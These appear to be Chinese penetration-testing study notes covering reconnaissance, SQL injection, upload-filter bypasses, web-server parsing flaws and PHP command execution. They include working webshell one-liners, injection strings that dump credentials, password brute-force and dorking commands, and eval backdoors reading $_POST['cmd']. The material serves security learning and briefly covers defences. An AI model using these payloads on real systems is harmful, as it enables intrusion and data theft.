前置

虚拟机联网

1
2
3
4
5
6
7
8
9
网络适配器->WLAN点下拉geng'd->共享
clash verge: 打开系统代理和Tun 端口号7897
ip: VMnet8的IPv4地址
git 全局代理:
添加:git config --global http.proxy http://IP:7897
git config --global https.proxy http://IP:7897
取消:git config --global --unset http.proxy
git config --global --unset https.proxy
查看:git config --global -l

Linux

  • 文件描述符
文件描述符 缩写 描述 默认设备
0 STDIN 标准输入 默认设备键盘
1 STDOUT 标准输出 默认设备显示器
2 STDERR 标准错误输出 默认设备显示器
  • 重定向
1
2
3
4
5
6
7
8
9
10
11
12
13
//输入重定向
<
从文件读取输入:sort < 1.txt

//输出重定向
>
将输出保存到文件:echo 1 > 2.txt
>>
将输出追加到文件:echo 2 >> 2.txt

//管道
|
将一个程序的输出作为输入发送到另一个程序:cat 1 | grep a
  • 文件描述符操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//更改标准输出位置
//把标准输出位置更改到test文件中:
exec 1>test
//把当前标准输出重定向到test文件中:
→~→echo '1st' 1>test
→~→cat test
lst


//更改标准输入位置
//从键盘输入,把输入读入user变量
→~→read user
testtest
→~→echo $user
testtest
//把test文件中的内容重定向到标准输入:
→~→read user 0<test
→~→echo $user
lst


//标准错误输出和标准输出的区别是,它在命令出错情况下的输出。
exec 2>test

//创建文件描述符
//创建
exec 文件描述符 <> 文件名
//调用
&文件描述符
//关闭
exec文件描述符<&-

exec文件描述符>&-
//例子
→~→exec 5>test
→~→echo 'are you ok?' 1>$5
→~→cat test
are you ok?
//把文件描述符5指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)


//特殊文件,写入的任何东西都会被清空。 /dev/null
//把标准错误输出重定向到/dev/nul1,从而丢掉不想保存的错误信息
whoami 2 > /dev/null
//快速移除文件中的数据而不用删除文件
cat /dev/null > test

信息收集

需收集的信息:

  • 域名信息(whois.、备案信息、子域名)
  • 服务器信息(端口、服务、真实IP)
  • 网站信息(网站架构、操作系统、中间件、数据库、编程语言、指纹信息、W八F、敏感目录、敏感文件、源码泄露、旁站、C段)
  • 管理员信息(姓名、职务、生日、联系电话、邮件地址)

域名信息

whois

域名查询whois

根据已知域名反查,获取:注册人邮箱;注册人姓名;注册人手机;注册更新时间等信息

  • 脚本

    1
    2
    cd yjtools
    python whois_check.py
  • 命令行

1
whois [域名]
  • 接口

https://whois.aliyun.com/
https://www.whois365.com/cn/
http://whois.chinaz.com/

whois反查域名

根据已知域名WHOIS中的信息来反查其它与此信息相同的域名列表,但可能是代理商

  • 接口

https://whois.chinaz.com/ 查询到的邮箱名前几位隐蔽

https://whois.aizhan.com/reverse-whois/

备案号

网页最下方通常有备案号,通过备案号查询该公司旗下其他域名或资产

  • 接口

https://beian.miit.gov.cn/

https://icp.chinaz.com/

https://icp.chinaz.com/

子域名

google hacking

  • 语法
字符 注释 例子 注释
intext 寻找正文中含有关 键字的网页 intext:后台登录 将只返回正文中包含“后台登录”的网页
intitle 寻找标题中含有关 键字的网页 intitle:后台登录 将只返回标题中包含“后台 登录”的网页,intitle:后台登录密码将返回标题中 包含“后台登录而正文中包 含密码的网页
allinitle 用法和intitle类 似,只不过可以指 定多个词 alltitle:后台登录 管理员 将返回标题中包含“后台登录”和“管理员”的网页
inurl 将返回ur中含有关 键词的网页 inurl:Login 将返回ur1中含有Login 的网页
allinurl 用法和inurl类似, 只不过可以指定多 个词 n allinurl:Login admin 将返回ur1中含有Login 和admin的网页
site 指定访问的站点 site:baidu.com inurl:Login 将只在baidu.com中查找 urI中含有Login的网页
filetype 指定访问的文件类 型 site:baidu.com filetype:pdf 将只返回baidu.com站点 上文件类型为pdf的网页
link 指定链接的网页 link:www.baidu.com 将返回所有包含指向 www.baidu.com的网页
related 相似类型的网页 related:www.xjtu.edu.cn 将返回与 www.xjtu.edu.cn相似的 页面,相似指的是网页的布局相似
info 返回站点的指定信 意 info:www.baidu.com corn 将返回百度的一些信息
define 返回某个词语的定 发 define:Hacker 将返回关于 Hacker的定义
cache 网页快照,谷歌将 返回给你它存储下 莱的房使货 cache:www.hackingspirits.com guest 将返回指定网站的缓存,并 且正文中含有guest
  • 示例
语法 注释
inurl://admin/login.php 查找管理员登录页面
inurl:/phpmyadmin/index.php 查找后台数据库管理页面
site:baidu.com inurl:Login 只在baidu.com中查找url 中含有Login的网页
site:baidu.com filetype:pdf ed 只返回baidu.com站点上 文件类型为pdf的网页
link:www.baidu.com 返回所有包含指向 www.baidu.com的网页
related:www.1lhc.edu.cn 返回与 www.11hc.edu.cn网页 布局相似的页面
site:xx.comintext:管理site:xx.cominurl:login site:xx.comintitle:后台 查找网站后台
site:xx.com filetype:php site:xx.com filetype:asp site:xx.com filetype:jsp site:xx.com filetype:aspx 查看服务器使用的程序
site:xx.com inurl:file site:xx.com inurl:load 查看上传漏洞
  • Index of目录发现
1
2
3
4
5
6
7
8
9
10
11
index of /admin
index of /passwd
index of /password
index of /mail
"index of /" +passwd
"index of /" +password.txt
"index of /" +.htaccess
"index of /root"
"index of /cgi-bin"
"index of /logs"
"index of /config"
  • 子域名查询
1
site:[域名]
  • 接口查询

https://dnsdumpster.com/
https://www.dnsgrep.cn/
https://developers.virustotal.com/reference/domains-relationships
http://tool.chinaz.com/subdomain
https://www.nmmapper.com/sys/tools/subdomainfinder/

网络空间测绘工具

工具名称 网址 语法
FOFA https://fofa.info/ domain=“[域名]”
鹰图 https://hunter.qianxin.com/ domain=“[域名]”
钟馗之眼 https://www.zoomeye.org/ site:“[域名]”
shodan https://www.shodan.io/ hostname:[域名]

SSL证书查询

https://crt.sh/

https://developers.facebook.com/tools/ct/search/

JS文件发现

  • 脚本

    1
    2
    cd JSFinder
    python JSFinder.py -u http://[域名]

聚合工具

OneForAll

1
2
3
4
5
conda active py39\
cd OneForAll/
python oneforall.py --target [域名] run
(谷歌联网)
(查看 ./results/[域名].csv)

爆破

子域名挖掘机(主机D://渗透)

服务器信息

IP收集

IP反查域名

http://stool.chinaz.com/same
https://tools.ipip.net/ipdomain.php
https://www.dnsgrep.cn/
https://site.ip138.com/

域名查IP

http://ip.tool.chinaz.com/
https://ipchaxun.com/
https://site.ip138.com/

C段存活主机探测

先旁注 后C段

查找与目标服务器P处于同一个C段的服务器IP

域名显示运营商是阿里云不是xxx机房之类,不用查

  • nmap

只能查出有没有开机

1
2
nmap -sP www.example.com/24
nmap -sP 192.168.1.*
  • 脚本
1
./TxPortMap -i www.example.com/24 -p 80

CDN

多地ping

1
2
3
http://ping.chinaz.com/
https://ping.aizhan.com/
http://www.webkaka.com/Ping.aspx

用各种多地ping的服务,查看对应P地址是否唯一

  • 国外访问

https://ping.sx/ping

有些网站设置CDN可能没有把国外的访问包含进去,所以可以这么绕过

  • 查询子域名IP

  • MX记录邮件服务

    ​ MX记录是一种常见的查找IP的方式。如果网站在与wb相同的服务器和IP上托管自己的邮件服务器,那么原始服务器P将在MX记录中。

  • 查询历史DNS记录

https://viewdns.info/iphistory/
https://www.ip138.com/

真实ip可能是买DNS的前一个

端口收集

一个电脑最多65525个端口,常见端口总结

https://edu.yijinglab.com/post/280

  • nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
nmap -A -T4 192.168.1.1

A:全面扫描\综合扫描
T4:扫描速度,共有6级,T0-T5

不加端口则扫描默认端口,1-1024 + nmap-service

单一主机扫描:
nmap 192.168.1.2

子网扫描:
nmap 192.168.1.1/24

多主机扫描:
nmap 192.168.1.1 192.168.1.10

主机范围扫描:
nmap 192.168.1.1-100

IP地址列表扫描:
nmap –iL target.txt

扫描除指定IP外的所有子网主机:
nmap 192.168.1.1/24 --exclude 192.168.1.1

扫描除文件中IP外的子网主机:
nmap 192.168.1.1/24 --excludefile xxx.txt

扫描特定主机上的80,21,23端口:
nmap –p 80,21,23 192.168.1.1
1
2
3
4
5
6
7
8
9
10
nmap -sS -v -T4 -Pn -p 0-65535 -oN FullTCP -iL liveHosts.txt

-sS:SYN扫描,又称为半开放扫描,它不打开一个完全的TCP连接,执行得很快,效率高(一个完整的tcp连接需要3次握手,而-sS选项不需要3次握手)

优点:Nmap发送SYN包到远程主机,但是它不会产生任何会话,目标主机几乎不会把连接记入系统日志。(防止对方判断为扫描攻击),扫描速度快,效率高,在工作中使用频率最高
缺点:它需要root/administrator权限执行

-Pn:扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描

-iL:导入需要扫描的列表

网站信息

操作系统

  • ping判断:windows的TTL值一般为128,Linux则为64。
    TTL大于100的一般为windows,几十的一般为linux。
  • nmap -o [ip/域名]
  • windows大小写不敏感,1inux则区分大小写

网站服务、容器类型

  • F12查看响应头Server字段
  • whatweb
1
whateweb -v -a 3 [ip]
  • wappalyzer插件

apache,nginx,tomcat,IIS
通过容器类型、版本可考虑对应容器存在的漏洞(解析漏洞)

脚本类型

1.php
2.jsp
3.asp/aspx
4.python

知道是什么语言才可以针对性的进行文件扫描、文件上传

数据库类型

https://edu.yijinglab.com/post/298

CMS识别

内容管理系统,用于网站内容文章管理。常见CMS:WordPress、Joomla、.Drupal、dedecms(织梦)、Discuz、phpcms等。

  • CMS检测识别工具

CMSeeK:

1
2
3
cd CMSeek
python TPscan.py
1

joomscan识别Joomla:

1
joomscan -u http://192.168.233.187/

wpscan识别WordPress:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1、刺探基础信息:
wpscan --url http://www.example.com

2、猜解后台用户名
wpscan --url http://www.example.com --enumerate u

3、使用字典暴破用户名admin的密码
wpscan --url http://www.example.com -P password.txt -U admin

4、扫描插件
wpscan --url http://www.example.com --enumerate p

5、扫描易受攻击的插件
wpscan --url http://www.example.com --enumerate vp

6、扫描所有插件
wpscan --url http://www.example.com --enumerate ap

TPscan识别thinkphp:

1
2
cd TPscan
python TPscan.py

敏感文件

  • .git泄漏

若存在.git泄漏,打开githack网站 https://githack.com/

在网站上方的文本框中输入目标Git存储库的URL,例如https://example.com/.git/

点击Generate link按钮生成可下载存储库的链接。

将生成的链接复制到浏览器地址栏中并打开。

从打开的页面中下载压缩的Git存储库文件。

  • .svn泄漏
1
2
3
4
cd SvnExploit
python SvnExploit.py -u http://192.168.27.128/.svn
# 下载
python SvnExploit.py -u http://192.168.27.128/.svn --dump
  • 目录扫描

dirsearch -u [url]

dir [url] /usr/share/wordlists/dirb/common.txt

7kbscan(windows)

waf

  • wafw00f
1
wafw00f [url]
  • nmap
1
2
3
nmap –p80,443 --script http-waf-detect ip

nmap –p80,443 --script http-waf-fingerprint ip

自动化集成工具

  • 灯塔
1
2
3
4
5
6
cd LinuxEnvConfig

sudo bash LinuxEnvConfig.sh

8
docker0的inet
  • EHole
1
2
3
4
5
6
7
8
9
cd D:\渗透\EHole\EHole_windows_amd64
EHole_windows_amd64.exe -h

# URL地址需带上协议,每行一个
EHole_windows_amd64.exe finger -l url.txt
# 支持单IP或IP段
EHole_windows_amd64.exe finger -f 192.168.1.1/24
# 结果输出至export.json文件
EHole_windows_amd64.exe finger -l url.txt -json export.json

漏洞挖掘

SQL注入

基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# 查找
SELECT 列名 FROM 表名
SELECT * FROM 表名
# 删除
DELETE FROM 表名称 WHERE 列名称 = 值
DELETE * FROM 表名称
# 更新
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
# 增加
INSERT INTO 表名称 VALUES (值1, 值2,....)
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

# 字符截取
# 截取结果中的值,从第一个字符开始,截取1个字符
select mid(database(),1,1)
# 截取结果中的值,从第一个字符开始,截取1个字符
select substr(database(),1,1)

# 左右字符
# 返回当前数据库最左边的1个字符串
select left(database(),1);
# 返回当前数据库最右边的1个字符串
select right(database(),1);

# 字符ASCII
# 结果为1或者0,也就是true or false
select ascii(substr(database(),1,1))>97;
select ord(substr(database(),1,1))>97;

# 行数
# 返回查询结果行数
select count(username) from users;

#合并
select group_concat(a) from (select database() as a union select version() as a) as t;

# 基础信息
# 在sql语言中,and优先级大于or
--+ 注释符
limit 0,1 从你表中的第一个数据开始,只读取一个
order by 排序,判断字段数量,也就是表的列数
union select 联合查询,连接前面语句,起着合并查询的作用
group_concat 合并多行数据到一行
version() 当前数据库版本
database() 当前数据库
@@datadir 数据库数据路径
@@version_compile_os 操作系统版本

系统表

在MySQL中,把information_schema看作是一个数据库,确切说是信息数据库。保存数据库名,数据库的表,表栏的数据类型与访问权限等。

  • SCHEMATA 表:提供了当前mysql实例中所有数据库的信息。
    show databases; 的结果取之此表。

Schema.name列:所有数据库名

  • TABLES 表:提供了关于数据库中的表的信息。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。
    show tables from schemaname; (schemaname为指定数据库名)的结果取之此表。

Table.name列:所有表名
Table.schema列:来自哪个数据库

  • COLUMNS 表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
    show columns from schemaname.tablename; (schemaname为指定数据库名, tablename为指定数据库下的数据表名)的结果取之此表。

Column_name列:所有列名
Table.name列:来自哪个表
Table.schema列:来自哪个数据库

判断是否有漏洞

根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。

类型

按参数类型分类:
数字型
字符型
搜索型
按数据库返回结果分类:
回显注入
报错注入
盲注
基于布尔的盲注
基于时间的盲注
按注入点位置分类:
GET注入
POST注入
Cookie注入
Header注入
… …

数字型

1
2
3
4
5
6
7
8
9
10
11
12
1.and逻辑测试:

and 1=1 sql语句: select name from users where id=1 and 1=1
and 1=2 sql语句: select name from users where id=1 and 1=2

通过比较页面的变化判断输入是否被带入数据库执行。

2.单引号测试:

sql语句: select name from users where id=1'

构造sql语法错误,来判断输入是否被执行。

字符型

1
2
3
4
5
6
7
8
9
10
id=1'、id=1"  构造sql语法错误,来判断输入是否被执行。

1 and 1=1
SQL语句: select name from users where id='1 and 1=1'
1' and '1'='1
SQL语句: select name from users where id='1' and '1'='1'
1' and 1=1 #
SQL语句: select name from users where id='1' and 1=1 #'
1' and 1=2 #
SQL语句: select name from users where id='1' and 1=2 #'

搜索型

1
2
3
4
5
6
7
8
9
SQL="select * from users where name like '%tom%'"

1 and 1=1
SQL查询语句为:select * from users where id like '%1 and 1=1%'
这个输入显然会报错误。

1%'1 and '%1%'' = '%1
SQL查询语句:select * from users where name like '%1%' and '%1%' = '%1%'
这里我们用 '% 来闭合 %' ,如果存在漏洞,返回正常信息。

GET显错注入

流程

01、获取字段数 order by x
02、获取显示位 union select 1,2,3,4……
03、获取数据库信息 version(),user(),@@datadir
04、获取当前数据库 database(), schema()
05、获取所有数据库
06、获取数据库表
07、获取所有字段
08、获取数据

  • 确定数字、字符、搜索型
  • 注入点
  • 当前数据库长度
  • 遍历得当前数据库名称
  • 获取数据库表总数
  • 依次获取表的长度、名字
  • 获取列
  • 获取数据

注入步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 判断:
id=1' and 1=1 --+
id=-1' or 1=1 --+

# order by语句判断字段数量:
id=1' order by 3 --+

# 联合查询获取显示位:
id=-1' union select 1,2,3 --+

# 获取当前数据库:
id=-1' union select 1,(select database()),3 --+

# 获取所有数据库:
id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

# 获取当前数据库表名:
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

# 获取users表所有字段:
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

# 获取security.users表所有字段
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+

# 获取security.users表所有字段内容:
id=-1' union select 1,username,password from users --+

报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

绕过

1
2
3
4
5
6
注释符可替换空格 /**/ # --

内联注入
/*!/*!*/
/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行

工具使用

  • sqlmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 进入sqlmap目录

# 检测漏洞
python sqlmap.py [url]
python sqlmap.py -u http://mingy.lab/Less-1/?id=1

# 获取当前用户
python sqlmap.py -u [url] --current-user
# 当前数据库
python sqlmap.py -u [url] --current-db
# 所有数据库名
python sqlmap.py -u [url] --dbs
# 数据库表名
python sqlmap.py -u [url] -D [库名] --tables
# 列名
python sqlmap.py -u [url] -D [库名] -T [表名] --columns
# 字段值
python sqlmap.py -u [url] -D [库名] -T [表名] -C [列名1],[列名2] --dump

# post注入
python sqlmap.py -r aa.txt
python sqlmap.py -r aa.txt --current-db --tables

# aa.txt内容示例如下:
POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=123456

username=admin&password=123456
#请求方法(如 POST)|目标路径(如 /login.php)|Host 头和其他必要头部(如 Content-Type)|空一行后接 POST 数据(如 username=...&password=...)

文件上传

常见一句话木马

1
2
3
4
5
6
php一句话木马: 
<?php @eval($_POST[value]);?>
asp一句话木马:
<%eval request("value")%>
aspx一句话木马:
<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>

绕过

绕过客户端检测/JS检测

原理:通常在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测文件类型和扩展名是否合法。

方法:在本地浏览器客户端禁用]S即可;可使用火狐浏览器的Noscript插件、IE中禁用JS等方式实现,利用burpsuite可以绕过一切客户端检测。

绕过服务端检测

  • 绕过MIME

MIME类型

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。

常见MIME类型

  1. 超文本标记语言文本 .html text/html

  2. 普通文本 .txt text/plain

  3. PDF文档 .pdf application/pdf

  4. Microsoft Word文件 .word application/msword

  5. PNG图像 .png image/png

  6. GIF图形 .gif image/gif

  7. JPEG图形 .jpeg,.jpg image/jpeg

  8. au声音文件 .au audio/basic

  9. MPEG文件 .mpg,.mpeg video/mpeg

  10. AVI文件 .avi video/x-msvideo

  11. GZIP文件 .gz application/x-gzip

用burpsuite截取并修改数据包中文件的content-type类型进行绕过

  • 绕过文件后缀

    黑名单绕过

1.后缀大小写绕过:(.Php)
在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。
2.空格绕过:(php )
如果黑名单没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过。
3.点绕过:(php.)
如果黑名单没有对后缀名进行去.处理,利用Windows.系统的文件名特性,会自动去掉后缀名最后的.,通过在文件名后加.进行绕过。
4.::DATA绕过如果黑名单没有对后缀名进行去:DATA绕过 如果黑名单没有对后缀名进行去:DATA处理,利用Windows下NTFS文件系统的一个特性,可以在后缀名后加::$DATA,绕过对黑名单的检测。
5.配合Apache解析漏洞
Apache解析有一个特点,解析文件时是从右往左判断,如果为不可识别解析再往左判断,如
aa.php.owf.rar文件,Apache不可识别解析’.owf’和’.rar’这两种后缀,会解析成.php文件。
6…htaccess文件
配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。比如新建一个.htaccess文件:

1
2
3
<FilesMatch "as.png">
setHandler application/x-httpd-php
</FilesMatch>

通过一个.htaccess文件调用php的解析器去解析一个文件名中只要包含"as,png"这个字符串的任意文件,所以无论文件名是什么样子,只要包含"as.png"这个字符串,都可以被以php的方式来解析,一个自定义的.htaccess文件就可以以各种各样的方式去绕过很多上传验证机制。

​ 白名单绕过

白名单策略:文件扩展名不在白名单中为不合法。

绕过方法:服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方式进行绕过,包括%00截断0x00截断。

php小于5.3.29且php配置magic_.quotes_.gpc=off

%00截断在bp包第一行

1
POST /upload-labs/Pass-12/index.php?save_path=../upload/666.php$00 HTTP/1.1

不要截断filename

1
Content-Disposition:form-data;name="upload file";filename="webshell.png"

0x00截断在bp不显示,但依旧不要截断filename

绕过文件内容检测

101代码注入

解析漏洞

  • Apache解析漏洞

形式:test.php.qwe,asd,任意不属于Apachel解析黑名单且也不属于白名单的名称

原理:Apache解析文件的规则是从右到左开始判断解析如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd,“.qwe"和”.asd"这两种后缀是apache不可识别解析,apaches就会把test.php.qwe.asd解析成php。

条件:apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略
www.xxx.com/test.php.qwe.asd
以moudel方式连接,配置文件httpd.conf中LoadModule rewrite module,modules/mod_rewrite.so前的注释去掉,寻找关键词:AllowOverride,并把后面的参数从None全部改成AII

  • Nginx解析漏洞

形式:任意文件名/任意文件名.php

一个在任意文件名后面添加/任意文件名.php的解析漏洞,比如原本文件名是test,jpg,可以添加为test.jpg/x.php进行解析攻击。

原理:Ngix<0.8.37默认是以CGl的方式支持PHP解析的,普遍的做法是在Nginxi配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,
$fastcgi_script_name会被设置为phpinfo.jpg/1.php,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。如果开启了这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPT_FILENAME是phpinfo.jPg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式:

1
2
3
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg.php
www.xxxx.com/UploadFiles/image/1.jpg/\0.php

形式:任意文件名%00.php
对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。(Nginx版本<=0.8.37空字节代码执行漏洞)

  • IIS 6.0解析漏洞

1.目录解析
形式:www.xxx.com/xx.asp/xx.jpg
原理:服务器默认会把.asp目录下的文件都解析成asp文件。
2.文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
IIS6.0默认的可执行文件除了asp还包含这三种:

1
2
3
/test.asa
/test.cer
/test.cdx
  • IIS 7.0/7.5解析漏洞

形式:任意文件名/任意文件名.php

原理:IlS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串/任意文件名.php就会按照php的方式去解析

由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginxi或者IIS7.5本身的漏洞。

防御

1.文件上传的目录设置为不可执行

只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,这一点至关重要。

2.判断文件类型
在判断文件类型时,可以结合使用MIME-Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

3.使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像
shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。

4.单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

命令执行漏洞

PHP执行函数

  • eval

语法:

1
eval ( string $code )

用法:

1
2
3
4
<?php @eval($_POST['cmd']);?>
# 函数传入的参数必须为PHP代码,即要以分号结尾;如果想要执行系统命令,必须加上命令执行函数,如system("命令");
url/x.php后post
cmd=system(whoami)
  • assert

语法

1
2
3
assert ( mixed $assertion [, string $description ] )
# 代码执行只适用于php5版本,php7.0则可以用配置文件去除assert的代码执行功能,php7.1 assert将不能执行代码,php7.2 assert将不能传入字符串参数
# 如果assertion是字符串,它将会被assert()当做PHP代码来执行。

用法

1
2
<?php @assert($_POST['cmd'])?>
# assert()函数是直接将传入的参数当成PHP代码执行,不需要以分号结尾
  • call_user_func

语法

1
2
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
# 第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。把第一个参数作为回调函数调用

用法

1
2
3
4
5
<?php
call_user_func("assert",$_POST['cmd']);
//传入的参数作为assert函数的参数
//cmd=system(whoami)
?>
  • call_user_func_arry

语法

1
2
3
call_user_func_array ( callable $callback , array $param_arr )
# 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
# 调用回调函数,并把一个数组参数作为回调函数的参数

用法

1
2
3
4
5
6
7
<?php 
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
//将传入的参数作为数组的第一个值传递给assert函数
//cmd=system(whoami)
?>
  • preg_replace

语法

1
2
3
4
5
6
7
8
preg_replace("/abc/e", $_REQUEST['cmd'], "abc");

preg_replace:正则表达式替换函数,当第一个参数使用/e作为修饰符,会把第二个参数传入的字符串当作php代码执行。
第一个参数"/abc/e"
第二个参数php代码,可以用$_REQUEST['cmd'],$_GET['cmd'],$_POST['cmd']
第三个参数能够满足第一个参数匹配的字符串,如果不会写,就尽量和第一个参数/里的字符串保持一致

php>5.5不再支持
  • array_map

用法

1
2
3
4
5
6
7
8
$function_name = $_POST['func'];  // 从post参数func获取函数名
$function_args = $_POST['args']; // 从post参数args获取参数值
$arr[0] = $function_args; // 把参数值换成数组
array_map($function_name, $arr); // array_map执行 func(args);

post
func=system&args=whoami // system("whoami");
func=phpinfo&args=1 // phpinfo(1);

PHP系统命令执行函数

1
2
3
4
5
6
7
system():执行外部程序,并且显示输出;
exec():执行一个外部程序
shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
passthru():执行unix系统命令并且显示原始输出
pcntl_exec():在当前进程空间执行指定程序
popen():打开进程文件指针
proc_open():执行一个命令,并且打开用来输入/输出的文件指针。
  • exec

语法

1
2
3
4
exec ( string $command [, array &$output [, int &$return_var ]] )

//执行一个外部程序,exec执行command参数所指定的命令。
//exec执行系统外部命令时不会输出结果,而是返回结果的最后一行。如果想得到结果,可以使用第二个参数,让其输出到指定的数组。此数组一个记录代表输出的一行。即如果输出结果有20行,则这个数组就有20条记录,所以如果需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外部命令结果时清空这个数组uset($output),以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。

用法

1
2
3
4
5
6
7
8
9
10
11
<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
// echo exec('whoami');
// exec('ls -la', $return);
// var_dump($return);

$cmd=$_POST['cmd'];
@exec($cmd, $return);
var_dump($return)
?>
  • system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
system ( string $command [, int &$return_var ] )
//函数执行command参数所指定的命令,并且输出执行结果。
//system和exec的区别在于,system在执行系统外部命令时,直接将结果输出到浏览器,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。


<?php
echo '<pre>';
// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('ls', $retval);
// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>
  • shell_exec
1
2
3
4
5
6
7
shell_exec("whoami");   
shell_exec($_REQUEST['cmd']);
//默认不会输出命令的执行结果


echo shell_exec("whoami");
var_dump(shell_exec("whoami"));
  • passthru
1
2
3
passthru("whoami"); 
passthru($_REQUEST['cmd']);
//默认会输出命令的执行结果
  • popen
1
2
3
4
5
6
7
8
9
popen("whoami",'r');
//不会输出命令的执行结果,且echo也不会输出


<?php
popen("whoami > 1.txt","r"); // 执行whoami把执行结果导出到1.txt
echo file_get_contents("1.txt"); // 读取1.txt的内容
unlink("1.txt"); // 删除1.txt
?>

命令执行常见特殊字符

1
2
3
4
5
6
7
8
cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行,windows不支持
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
cmd1&&cmd2:仅在cmd1执行成功后cmd2才执行
